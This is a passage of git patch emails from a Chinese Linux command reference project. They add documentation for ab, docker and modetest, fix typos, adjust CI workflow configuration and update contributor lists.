和机器配合的性能如何。 @@ -119,4 +134,9 @@ name[:port]/path 主机：被测试主机。 +### 实例 +```shell +# 10个并发， 请求500次 +ab -c 10 -n 500 https://www.qq.com/ +``` From 0f862822a3ee6a46f5dee2a23f75b81de8c37122 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 13 Jun 2023 08:01:54 +0000 Subject: [PATCH 198/570] doc: update README.md. --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index dba13599088..c1e21884eb6 100644 --- a/README.md +++ b/README.md @@ -712,8 +712,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 weibk - - 王凌枫 + + Lingfeng Wang yanyx From a090e65283e956d125c4488c4e69da9415d9cb63 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 13 Jun 2023 08:01:55 +0000 Subject: [PATCH 199/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 5ee4f6b0c59..e5ec74eeb2a 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -348,8 +348,8 @@ weibk - - 王凌枫 + + Lingfeng Wang yanyx From c8f7278a88f41540fe638cad1266132f6a847ae3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Wed, 14 Jun 2023 23:01:41 +0800 Subject: [PATCH 200/570] doc: Update README.md #512 --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index c1e21884eb6..0111efc77bf 100644 --- a/README.md +++ b/README.md @@ -38,7 +38,7 @@ **推荐使用的镜像 web 版本** [**`qq.wdev.cn`**](https://qq.wdev.cn) -[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[linux.vovuo.com](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/) +[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[linux.vovuo.com](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/)，[**`linux.zgrnb.com`**](https://linux.zgrnb.com/) **其它 web 版本** From 7679d3300c93f57afbdfb4f28112928c4fc9deeb Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 14 Jun 2023 15:02:46 +0000 Subject: [PATCH 201/570] doc: update README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 0111efc77bf..f481de2bfca 100644 --- a/README.md +++ b/README.md @@ -715,6 +715,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Lingfeng Wang + + xhal + yanyx From 5d2461f6e5ec286efa18e33dd26f330057834266 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 14 Jun 2023 15:02:47 +0000 Subject: [PATCH 202/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index e5ec74eeb2a..770f609bf55 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -351,6 +351,9 @@ Lingfeng Wang + + xhal + yanyx From 23a1f5cf1214fa44fff585bfd962bb0ef15214d1 Mon Sep 17 00:00:00 2001 From: tutianyu101 <134258491+tutianyu101@users.noreply.github.com> Date: Thu, 15 Jun 2023 14:35:31 +0800 Subject: [PATCH 203/570] doc: add docker.md (#514) --- command/docker.md | 215 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 215 insertions(+) create mode 100644 command/docker.md diff --git a/command/docker.md b/command/docker.md new file mode 100644 index 00000000000..ff25792d71b --- /dev/null +++ b/command/docker.md @@ -0,0 +1,215 @@ +Docker +== + +极为方便的容器软件。 + +## 安装 + +在 Linux 中输入以下命令安装 Docker。 + +```bash +# CentOS 参考：https://blog.csdn.net/zhaoyuanh/article/details/126610347 +#如果系统里有旧版本docker的话需要先行删除： +sudo yum remove docker \ + docker-client \ + docker-client-latest \ + docker-common \ + docker-latest \ + docker-latest-logrotate \ + docker-logrotate \ + docker-engine + +#设置仓库： +yum install -y yum-utils + +#添加Docker仓库： +yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo + +#安装Docker引擎(默认最新): +yum install docker-ce docker-ce-cli containerd.io docker-compose-plugin + +#启动docker: +sudo systemctl start docker + +``` + +## 实例 + +介绍几个常用场景：Docker Hub镜像市场相关，镜像仓库命令。 + +1、下载docker hub镜像市场中的镜像。 + +```bash +docker pull user/image +``` + +2、在 docker hub 中搜索镜像。 + +```bash +# 注意需要下载镜像才能使用 +docker search search_word +``` + +3、向 docker hub 进行身份验证。 + +```bash +docker login +``` + +4、将镜像上传到 docker hub。 + +```bash +docker push user/image +``` + +## help 信息翻译 + +```run +使用方法： docker create [options] IMAGE + +<命令> +attach 将本地标准输入、输出和错误流附加到正在运行的容器 +build 从 Dockerfile 构建镜像 +commit 从容器的更改创建新镜像 +cp 在容器和本地文件系统之间复制文件/文件夹 +create 创建一个新容器 +diff 检查容器文件系统上文件或目录的更改 +events 从服务器获取实时事件 +exec 在正在运行的容器中运行命令 +export 将容器的文件系统导出为 tar 存档 +history 显示镜像的历史 +images 列出镜像 +import 从 tarball 导入内容以创建文件系统映像 +info 显示系统范围的信息 +inspect 返回有关 Docker 对象的低级信息 +kill 杀死一个或多个正在运行的容器 +load 从 tar 存档或 STDIN 加载镜像 +login 登录到 Docker 注册表 +logout 从 Docker 注册表中注销 +logs 获取容器的日志 +pause 暂停一个或多个容器内的所有进程 +port 列出容器的端口映射或特定映射 +ps 列出容器 +pull 从注册表中提取镜像或存储库 +push 将镜像或存储库推送到注册表 +rename 重命名容器 +restart 重启一个或多个容器 +rm 移除一个或多个容器 +rmi 移除一张或多张镜像 +run 在新容器中运行命令 +save 将一个或多个镜像保存到 tar 存档（默认流式传输到 STDOUT） +search 在 Docker Hub 中搜索镜像 +start 启动一个或多个停止的容器 +stats 显示容器资源使用统计的实时流 +stop 停止一个或多个正在运行的容器 +tag 创建一个引用 SOURCE_IMAGE 的标记 TARGET_IMAGE +top 显示容器的运行进程 +unpause 取消暂停一个或多个容器中的所有进程 +update 更新一个或多个容器的配置 +version 显示 Docker 版本信息 +wait 阻塞直到一个或多个容器停止，然后打印它们的退出代码 + +<环境参数> + --add-host list # 添加自定义主机到 IP 映射 (host:ip) +-a, --attach list # 连接到 STDIN、STDOUT 或 STDERR + --blkio-weight uint16 # 块 IO（相对权重），介于 10 和 1000 之间，或 0 禁用（默认 0） + --blkio-weight-device list # 块 IO 权重（相对设备权重）（默认 []） + --cap-add list # 添加 Linux 功能 + --cap-drop list # 放弃 Linux 功能 + --cgroup-parent string # 容器的可选父 cgroup + --cgroupns string # 要使用的 Cgroup 命名空间（主机|私有） + # 'host': 在 Docker 主机的 cgroup 命名空间中运行容器 + # 'private': 在自己的私有 cgroup 命名空间中运行容器 + # '': 使用由守护进程上的 + # default-cgroupns-mode 选项配置的 cgroup 命名空间（默认） + --cidfile string # 将容器 ID 写入文件 + --cpu-period int # 限制 CPU CFS（完全公平调度器）周期 + --cpu-quota int # 限制 CPU CFS（完全公平调度器）配额 + --cpu-rt-period int # 以微秒为单位限制 CPU 实时周期 + --cpu-rt-runtime int # 以微秒为单位限制 CPU 实时运行时间 +-c, --cpu-shares int # CPU 份额（相对权重） + --cpus decimal # CPU 数量 + --cpuset-cpus string # 允许执行的 CPU (0-3, 0,1) + --cpuset-mems string # 允许执行的 MEM (0-3, 0,1) + --device list # 将主机设备添加到容器 + --device-cgroup-rule list # 将规则添加到 cgroup 允许的设备列表 + --device-read-bps list # 限制设备的读取速率（每秒字节数）（默认 []） + --device-read-iops list # 限制设备的读取速率（每秒 IO）（默认 []） + --device-write-bps list # 限制设备的写入速率（每秒字节数）（默认 []） + --device-write-iops list # 限制设备的写入速率（每秒 IO）（默认 []） + --disable-content-trust # 跳过镜像验证（默认为 true） + --dns list # 设置自定义 DNS 服务器 + --dns-option list # 设置 DNS 选项 + --dns-search list # 设置自定义 DNS 搜索域 + --domainname string # 容器 NIS 域名 + --entrypoint string # 覆盖镜像的默认入口点 +-e, --env list # 设置环境变量 + --env-file list # 读入环境变量文件 + --expose list # 公开一个端口或一系列端口 + --gpus gpu-request # 要添加到容器中的 GPU 设备（“全部”以传递所有 GPU） + --group-add list # 添加其他组以加入 + --health-cmd string # 运行以检查运行状况的命令 + --health-interval duration # 运行检查之间的时间 (ms|s|m|h) (默认 0s) + --health-retries int # 需要报告不健康的连续失败 + --health-start-period duration # 开始健康重试倒计时之前容器初始化的开始时间（ms|s|m|h）（默认 0s） + --health-timeout duration # 允许运行一项检查的最长时间 (ms|s|m|h) (默认 0s) + --help # 打印使用 +-h, --hostname string # 容器主机名 + --init # 在容器内运行一个 init 来转发信号并收获进程 +-i, --interactive # 即使没有连接，也保持 STDIN 打开 + --ip string # IPv4 地址（例如 172.30.100.104） + --ip6 string # IPv6 地址（例如，2001:db8::33） + --ipc string # 要使用的 IPC 模式 + --isolation string # 容器隔离技术 + --kernel-memory bytes # 内核内存限制 +-l, --label list # 在容器上设置元数据 + --label-file list # 读入以行分隔的标签文件 + --link list # 添加到另一个容器的链接 + --link-local-ip list # 容器 IPv4/IPv6 链路本地地址 + --log-driver string # 容器的日志记录驱动程序 + --log-opt list # 日志驱动程序选项 + --mac-address string # 容器 MAC 地址（例如 92:d0:c6:0a:29:33） +-m, --memory bytes # 内存限制 + --memory-reservation bytes # 内存软限制 + --memory-swap bytes # 交换限制等于内存加上交换：'-1' 启用无限交换 + --memory-swappiness int # 调整容器内存交换（0 到 100）（默认 -1） + --mount mount # 将文件系统挂载附加到容器 + --name string # 为容器分配名称 + --network network # 将容器连接到网络 + --network-alias list # 为容器添加网络范围的别名 + --no-healthcheck # 禁用任何容器指定的 HEALTHCHECK + --oom-kill-disable # 禁用 OOM 杀手 + --oom-score-adj int # 调整主机的 OOM 首选项（-1000 到 1000） + --pid string # 要使用的 PID 命名空间 + --pids-limit int # 调整容器 pids 限制（设置 -1 表示无限制） + --platform string # 如果服务器支持多平台，则设置平台 + --privileged # 授予此容器扩展权限 +-p, --publish list # 将容器的端口发布到主机 +-P, --publish-all # 将所有暴露的端口发布到随机端口 + --pull string # 创建前拉取镜像("always"|"missing"|"never")(默认"missing") + --read-only # 将容器的根文件系统挂载为只读 + --restart string # 容器退出时应用的重启策略（默认“否”） + --rm # 容器退出时自动移除 + --runtime string # 用于此容器的运行时 + --security-opt list # 安全选项 + --shm-size bytes # /dev/shm 的大小 + --stop-signal string # 停止容器的信号（默认“SIGTERM”） + --stop-timeout int # 停止容器的超时（以秒为单位） + --storage-opt list # 容器的存储驱动程序选项 + --sysctl map # Sysctl 选项（默认 map[]） + --tmpfs list # 挂载 tmpfs 目录 +-t, --tty # 分配一个伪 TTY + --ulimit ulimit # ulimit 选项（默认 []） +-u, --user string # 用户名或 UID（格式：[:]） + --userns string # 要使用的用户命名空间 + --uts string # 要使用的 UTS 命名空间 +-v, --volume list # 绑定挂载卷 + --volume-driver string # 容器的可选卷驱动程序 + --volumes-from list # 从指定容器挂载卷 +-w, --workdir string # 容器内的工作目录 +``` + +## 官网 + +更多安装使用方法可以访问学习：https://wangchujiang.com/reference/docs/docker.html +由上海 屠天煜编写 From e342f56dbbb16082b09f9326db2faffdb31a172e Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 15 Jun 2023 06:36:32 +0000 Subject: [PATCH 204/570] doc: update README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index f481de2bfca..7eb4d427152 100644 --- a/README.md +++ b/README.md @@ -706,6 +706,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 tangke + + tutianyu101 + UniqueDing From a274520de49300a01f0248584a2725576196dfc0 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 15 Jun 2023 06:36:33 +0000 Subject: [PATCH 205/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index 770f609bf55..b44ca765e91 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -342,6 +342,9 @@ tangke + + tutianyu101 + UniqueDing From c65bf6ce5f28372cfb311d772c0660800e10da9c Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Thu, 15 Jun 2023 14:42:58 +0800 Subject: [PATCH 206/570] doc: update docker.md (#514) --- command/dirs.md | 3 +- command/docker.md | 74 ++++++++++++++++++++++++++--------------------- 2 files changed, 42 insertions(+), 35 deletions(-) diff --git a/command/dirs.md b/command/dirs.md index 5d0b7b262bf..de6a297ad7c 100644 --- a/command/dirs.md +++ b/command/dirs.md @@ -3,7 +3,7 @@ dirs 显示目录堆栈。 -## 概要 +## 语法 ```shell dirs [-clpv] [+N] [-N] @@ -12,7 +12,6 @@ dirs [-clpv] [+N] [-N] ## 主要用途 - 显示目录堆栈。 - - 清空目录堆栈。 ## 选项 diff --git a/command/docker.md b/command/docker.md index ff25792d71b..490d93c84be 100644 --- a/command/docker.md +++ b/command/docker.md @@ -1,7 +1,11 @@ Docker -== +=== -极为方便的容器软件。 +容器化技术，可以将应用程序及其依赖项打包到一个可移植的容器中，使其可以在不同的环境中运行 + +## 补充说明 + +Docker 容器可以快速部署、可移植、可扩展，并且可以在不同的平台上运行。Docker 可以帮助开发人员和运维人员更轻松地构建、发布和管理应用程序。 ## 安装 @@ -33,41 +37,15 @@ sudo systemctl start docker ``` -## 实例 - -介绍几个常用场景：Docker Hub镜像市场相关，镜像仓库命令。 - -1、下载docker hub镜像市场中的镜像。 - -```bash -docker pull user/image -``` - -2、在 docker hub 中搜索镜像。 - -```bash -# 注意需要下载镜像才能使用 -docker search search_word -``` - -3、向 docker hub 进行身份验证。 +## 语法 -```bash -docker login +```shell +docker create [options] IMAGE ``` -4、将镜像上传到 docker hub。 +## 选项参数 -```bash -docker push user/image -``` - -## help 信息翻译 - -```run -使用方法： docker create [options] IMAGE - -<命令> +```shell attach 将本地标准输入、输出和错误流附加到正在运行的容器 build 从 Dockerfile 构建镜像 commit 从容器的更改创建新镜像 @@ -209,6 +187,36 @@ wait 阻塞直到一个或多个容器停止，然后打印它们的退出代码 -w, --workdir string # 容器内的工作目录 ``` +## 实例 + +介绍几个常用场景：Docker Hub镜像市场相关，镜像仓库命令。 + +1、下载docker hub镜像市场中的镜像。 + +```bash +docker pull user/image +``` + +2、在 docker hub 中搜索镜像。 + +```bash +# 注意需要下载镜像才能使用 +docker search search_word +``` + +3、向 docker hub 进行身份验证。 + +```bash +docker login +``` + +4、将镜像上传到 docker hub。 + +```bash +docker push user/image +``` + + ## 官网 更多安装使用方法可以访问学习：https://wangchujiang.com/reference/docs/docker.html From f5b902a0ffaf8e6e30c49cbd7466b4df977ebc11 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Thu, 15 Jun 2023 14:50:42 +0800 Subject: [PATCH 207/570] doc: update command/docker.md --- command/docker.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/docker.md b/command/docker.md index 490d93c84be..33928bea0d2 100644 --- a/command/docker.md +++ b/command/docker.md @@ -1,4 +1,4 @@ -Docker +docker === 容器化技术，可以将应用程序及其依赖项打包到一个可移植的容器中，使其可以在不同的环境中运行 From 7e0f5e224be80eb37e4a73d6525a9ed77372ff5b Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Thu, 15 Jun 2023 14:55:19 +0800 Subject: [PATCH 208/570] chore: update workflow config. --- .github/workflows/ci.yml | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 6da96c07d75..a6e7c8b3778 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -39,6 +39,10 @@ jobs: body: | ${{steps.contributors.outputs.htmlList}} + - run: npm install + - run: npm run dash + - run: cp CONTRIBUTORS.svg .deploy + - name: Build Linux Command run: | npm install From 8c7a05a0f408f50dbd7109a1a7a9eb3970137947 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Thu, 15 Jun 2023 15:11:56 +0800 Subject: [PATCH 209/570] chore: update 7z.md/db.md document. --- command/7z.md | 2 +- command/ab.md | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/command/7z.md b/command/7z.md index 5533b4328af..9833fcbe35f 100644 --- a/command/7z.md +++ b/command/7z.md @@ -1,5 +1,5 @@ 7z -== +=== 拥有极高压缩比的开源压缩软件。 diff --git a/command/ab.md b/command/ab.md index b69cf45292a..1823c7c1d01 100644 --- a/command/ab.md +++ b/command/ab.md @@ -1,5 +1,5 @@ ab -== +=== Apache服务器的性能测试工具 From ed58ed11246ed8990351226a040483cc8bca3001 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Thu, 15 Jun 2023 15:12:55 +0800 Subject: [PATCH 210/570] fix: update build script. --- scripts/build.mjs | 1 + 1 file changed, 1 insertion(+) diff --git a/scripts/build.mjs b/scripts/build.mjs index 97071f08cc9..63e1cfa3739 100644 --- a/scripts/build.mjs +++ b/scripts/build.mjs @@ -107,6 +107,7 @@ const contributorsPath = path.resolve(process.cwd(), 'CONTRIBUTORS.svg'); })); } catch (err) { + console.log(`\n ERROR :> ${err}\n`) if (err && err.message) { console.log(`\n ERROR :> ${err.message.red_bt}\n`) } From 922c39b88cb93c998e03778ea630ced2027b407d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Sat, 17 Jun 2023 22:34:57 +0800 Subject: [PATCH 211/570] doc: Update znew.md (fix #516) --- command/znew.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/znew.md b/command/znew.md index c8adb0e1492..61ad1bb6b59 100644 --- a/command/znew.md +++ b/command/znew.md @@ -19,7 +19,7 @@ znew(选项)(参数) -f：# 强制执行转换操作，即是目标“.gz”已经存在； -t：# 删除原文件前测试新文件； -v：# 显示文件名和每个文件的压缩比； --9：# 食用油花的压缩比，速度较慢； +-9：# 使用最高压缩率，速度较慢； -P：# 使用管道完成转换操作，以降低磁盘空间使用； -K：# 当“.Z”文件比“.gz”文件小时，保留“.Z”文件。 ``` From a1549ed0c60a692ac426db19b9dd5ba11e8f8e54 Mon Sep 17 00:00:00 2001 From: Qliangw Date: Mon, 19 Jun 2023 18:07:33 +0800 Subject: [PATCH 212/570] doc: update command/dmesg.md (#517) --- command/dmesg.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/command/dmesg.md b/command/dmesg.md index 5e992b4f283..d1258517a50 100644 --- a/command/dmesg.md +++ b/command/dmesg.md @@ -50,4 +50,12 @@ dmesg | grep sda [ 2.448503] sd 0:0:0:0: [sda] Attached SCSI disk ``` +查看多关键字 +```shell +dmesg | grep -E "vcc5v0_host|vcc_3v3_s0|ttyS" + +[ 1.193143] vcc5v0_host: supplied by vcc5v0_usb +[ 1.481139] feb80000.serial: ttyS5 at MMIO 0xfeb80000 (irq = 73, base_baud = 1500000) is a 16550A +[ 1.513541] vcc_3v3_s0: supplied by vcc5v0_sys +``` From aad9ebcfdc5fb4b5f9865b4c319a6297f58b45cf Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 19 Jun 2023 10:08:23 +0000 Subject: [PATCH 213/570] doc: update README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 7eb4d427152..17edc9251f6 100644 --- a/README.md +++ b/README.md @@ -538,6 +538,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Mystic + + Qliangw + Ray Yee From 01ec9c43dea771add43451a2006d8128ff81abc2 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 19 Jun 2023 10:08:24 +0000 Subject: [PATCH 214/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index b44ca765e91..8b519fb6f1f 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -174,6 +174,9 @@ Mystic + + Qliangw + Ray Yee From b525acd107e976106cfc202896e3042ced9c66fe Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 20 Jun 2023 23:18:58 +0800 Subject: [PATCH 215/570] chore: update workflows config. --- .github/workflows/ci.yml | 48 ++++++++++++++++++++-------------------- 1 file changed, 24 insertions(+), 24 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index a6e7c8b3778..a70cf3add7e 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -159,30 +159,30 @@ jobs: platforms: linux/amd64,linux/arm64 tags: ${{ secrets.DOCKER_USER }}/linux-command:${{steps.changelog.outputs.version}} - # Create Docker Image in Github - - name: Login to the GitHub Container Registry - uses: docker/login-action@v2 - with: - registry: ghcr.io - username: ${{ github.actor }} - password: ${{ secrets.GITHUB_TOKEN }} - - - name: Build and push image:latest - uses: docker/build-push-action@v3 - with: - push: true - context: . - platforms: linux/amd64,linux/arm64 - tags: ghcr.io/jaywcjlove/linux-command:latest - - - name: Build and push image:tags - uses: docker/build-push-action@v3 - if: steps.create_tag.outputs.successful - with: - push: true - context: . - platforms: linux/amd64,linux/arm64 - tags: ghcr.io/jaywcjlove/linux-command:${{steps.changelog.outputs.version}} + # # Create Docker Image in Github + # - name: Login to the GitHub Container Registry + # uses: docker/login-action@v2 + # with: + # registry: ghcr.io + # username: ${{ github.actor }} + # password: ${{ secrets.GITHUB_TOKEN }} + + # - name: Build and push image:latest + # uses: docker/build-push-action@v3 + # with: + # push: true + # context: . + # platforms: linux/amd64,linux/arm64 + # tags: ghcr.io/jaywcjlove/linux-command:latest + + # - name: Build and push image:tags + # uses: docker/build-push-action@v3 + # if: steps.create_tag.outputs.successful + # with: + # push: true + # context: . + # platforms: linux/amd64,linux/arm64 + # tags: ghcr.io/jaywcjlove/linux-command:${{steps.changelog.outputs.version}} # # Create Docker Image # - name: Docker login From cd7efff1a53086e860d73c633aaa93f5820a8a5f Mon Sep 17 00:00:00 2001 From: Qliangw Date: Mon, 10 Jul 2023 15:42:11 +0800 Subject: [PATCH 216/570] add(drm): modetest.md (#518) * add(drm): modetest.md * feat(drm): add compilation and installation example for modetest tool ## Description This commit adds an example for compiling and installing the modetest tool, which is used for testing and validating DRM (Direct Rendering Manager) driver functionality. ## Compilation and Installation Example Here is an example of how to compile and install the modetest tool: 1. Clone the modetest repository from the source: ```shell git clone https://github.com/dvdhrm/drm-tests.git ``` 2. Change into the modetest directory: ```shell cd drm-tests/modetest ``` 3. Install the necessary dependencies for compilation. This may vary depending on your distribution. For example, on Ubuntu, you can install the required packages using the following command: ```shell sudo apt-get install build-essential libdrm-dev ``` 4. Build the modetest tool: ```shell make ``` 5. Optionally, you can run the modetest tool directly from the build directory: ```shell ./modetest ``` 6. If you want to install the modetest tool system-wide, use the following command: ```shell sudo make install ``` This will install the modetest binary into the appropriate system directories. 7. You can now run the modetest tool from anywhere on your system: ```shell modetest ``` Please note that the compilation and installation process may vary depending on your system configuration and distribution. Make sure to follow the specific instructions provided by the modetest repository or consult the documentation for your distribution for more accurate and detailed instructions. --- command/modetest.md | 144 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 144 insertions(+) create mode 100644 command/modetest.md diff --git a/command/modetest.md b/command/modetest.md new file mode 100644 index 00000000000..ba5c1aecba3 --- /dev/null +++ b/command/modetest.md @@ -0,0 +1,144 @@ +modetest +=== + +DRM/KMS驱动程序libdrm中的模式测试工具 + +## 补充说明 + +`modetest` 是一个用于测试和验证 DRM（Direct Rendering Manager）驱动程序功能的命令行工具。 + +**安装** + +**源码**：[Mesa / drm · GitLab](https://gitlab.freedesktop.org/mesa/drm) + +**下载**：[Index of /libdrm (dri.freedesktop.org)](https://dri.freedesktop.org/libdrm/) + +**编译** +```shell +./configure --prefix=/opt/ --host=aarch64-linux-gnu +make && make install +## 编译删除 +make distclean +``` + +**参考**：[libdrm调试准备 - 简书](https://www.jianshu.com/p/a9152ca3e7ab) + + +### 语法 + +```shell +modetest [选项] +``` + +### 选项 + +```shell +# 查询选项 +-c 列出连接器 +-e 列出编码器 +-f 列出帧缓冲 +-p 列出 CRTCs 和平面 + +# 测试选项 +-P @:x[++][*][@] 设置一个平面 +-s [,][@]:[-][@] 设置一个显示模式 +-C 测试硬件光标 +-v 测试垂直同步页面翻转 +-w :: 设置属性 + +# 通用选项 +-a 启用原子模式设置 +-d 在模式设置后放弃主控权限 +-M 指定要使用的驱动程序模块 +-D 指定要使用的设 +``` + +### 参数 + +`` 驱动模块 + +- i915：Intel 集成显卡驱动模块 +- amdgpu：AMD Radeon 显卡驱动模块 +- radeon：旧版 AMD Radeon 显卡驱动模块 +- nouveau：NVIDIA 开源显卡驱动模块 +- vmwgfx：VMware 显卡驱动模块 +- omapdrm：TI OMAP 显卡驱动模块 +- exynos：三星 Exynos 显卡驱动模块 +- tilcdc：TI LCD 控制器显卡驱动模块 +- msm：Qualcomm MSM 显卡驱动模块 +- sti：STMicroelectronics 显卡驱动模块 +- tegra：NVIDIA Tegra 显卡驱动模块 +- imx-drm：Freescale i.MX 显卡驱动模块 +- rockchip：Rockchip 显卡驱动模块 + +### 实例 + +使用modetest查看相关信息 +```shell +~# modetest +Encoders: # 省略了好多好多 +id crtc type possible crtcs possible clones +194 0 Virtual 0x0000000f 0x00000001 +196 88 TMDS 0x00000002 0x00000002 +210 0 DSI 0x00000004 0x00000004 +213 0 TMDS 0x00000001 0x00000008 + +Connectors: # 省略了好多好多 +id encoder status name size (mm) modes encoders +197 196 connected HDMI-A-1 530x300 10 196 + mode # 巴拉巴拉非常多的一大串 +211 210 connected DSI-1 184x114 1 210 +214 0 disconnected DP-1 0x0 0 213 + +CRTCs: # 省略了好多好多**** +id fb pos size +68 0 (0,0) (0x0) + 0 0 0 0 0 0 0 0 0 0 flags: ; type: +88 0 (0,0) (0x0) + 0 0 0 0 0 0 0 0 0 0 flags: ; type: +108 219 (0,0) (1200x1920) + 1200x1920 60 1200 1280 1284 1344 1920 1955 1956 1981 159400 flags: ; type: +128 0 (0,0) (0x0) + 0 0 0 0 0 0 0 0 0 0 flags: ; type: + +Planes: # 省略了好多好多 +id crtc fb CRTC x,y x,y gamma size possible crtcs +54 0 0 0,0 0,0 0 0x0000000f + formats: XR24 AR24 XB24 AB24 RG24 BG24 RG16 BG16 NV12 NV21 NV16 NV61 NV24 NV42 NV15 NV20 NV30 YVYU VYUY YUYV UYVY +74 0 0 0,0 0,0 0 0x0000000f + formats: XR24 AR24 XB24 AB24 RG24 BG24 RG16 BG16 NV12 NV21 NV16 NV61 NV24 NV42 NV15 NV20 NV30 YVYU VYUY YUYV UYVY +94 108 219 0,0 0,0 0 0x0000000f + formats: XR24 AR24 XB24 AB24 RG24 BG24 RG16 BG16 NV12 NV21 NV16 NV61 NV24 NV42 NV15 NV20 NV30 YVYU VYUY YUYV UYVY + +``` + +------ + +根据以上信息在MIPI-DSI显示设备上使用Rockchip显卡驱动测试 + +```shell +~# modetest -M rockchip -s 211@108:1200x1920 -v +freq: 59.90Hz +freq: 59.87Hz +freq: 59.87Hz +freq: 59.87Hz +freq: 59.87Hz +freq: 59.87Hz +freq: 59.87Hz +freq: 59.87Hz +freq: 59.87Hz +``` + +在MIPI屏幕上将会看到闪烁的彩色块。 + +------ + +```shell +~# modetest -M rockchip -s 211@108:1200x1920 -C +setting mode 1200x1920-60Hz@XR24 on connectors 211, crtc 108 +starting cursor +``` + +在MIPI屏幕上将会看到静止的彩色块。 + + From c5e53509c85faf033f2b6e80bbc1ea19e55bc8bd Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 10 Jul 2023 07:42:45 +0000 Subject: [PATCH 217/570] doc: update README.md. --- README.md | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/README.md b/README.md index 17edc9251f6..26a9c1523e8 100644 --- a/README.md +++ b/README.md @@ -457,12 +457,15 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Dazhuangw - - ptenst + + wVVaTT Shell + + Qliangw + Wang Jianing @@ -538,9 +541,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Mystic - - Qliangw - Ray Yee @@ -703,8 +703,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 snovey - - sunls24 + + sunls25 tangke From fa4d1697c0e3dad5919ed7cdd5fb5b2a70f7f154 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 10 Jul 2023 07:42:46 +0000 Subject: [PATCH 218/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 8b519fb6f1f..68c08809e0b 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -93,12 